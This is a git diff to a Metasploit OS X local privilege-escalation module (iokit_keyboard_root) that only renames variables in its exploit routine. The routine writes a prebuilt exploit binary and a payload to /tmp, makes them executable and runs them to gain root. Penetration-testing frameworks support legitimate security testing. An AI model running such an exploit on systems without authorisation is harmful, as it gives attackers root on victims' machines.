diff --git a/modules/exploits/osx/local/iokit_keyboard_root.rb b/modules/exploits/osx/local/iokit_keyboard_root.rb index 18f67f32d5..25e7a6ec18 100644 --- a/modules/exploits/osx/local/iokit_keyboard_root.rb +++ b/modules/exploits/osx/local/iokit_keyboard_root.rb @@ -61,23 +61,23 @@ class Metasploit3 < Msf::Exploit::Local def exploit osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx') - exploit = File.read(File.join(osx_path, 'key_exploit.bin')) - pload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) - tmpfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" - payloadfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" + binary_exploit = File.read(File.join(osx_path, 'key_exploit.bin')) + binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) + exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" + payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" - print_status "Writing temp file as '#{tmpfile}'" - write_file(tmpfile, exploit) - register_file_for_cleanup(tmpfile) + print_status("Writing exploit file as '#{exploit_file}'") + write_file(exploit_file, binary_exploit) + register_file_for_cleanup(exploit_file) - print_status "Writing payload file as '#{payloadfile}'" - write_file(payloadfile, pload) - register_file_for_cleanup(payloadfile) + print_status("Writing payload file as '#{payload_file}'") + write_file(payload_file, binary_payload) + register_file_for_cleanup(payload_file) - print_status "Executing payload..." - cmd_exec("chmod +x #{tmpfile}") - cmd_exec("chmod +x #{payloadfile}") - cmd_exec("#{tmpfile} #{payloadfile}") + print_status("Executing payload...") + cmd_exec("chmod +x #{exploit_file}") + cmd_exec("chmod +x #{payload_file}") + cmd_exec("#{exploit_file} #{payload_file}") end def osx_ver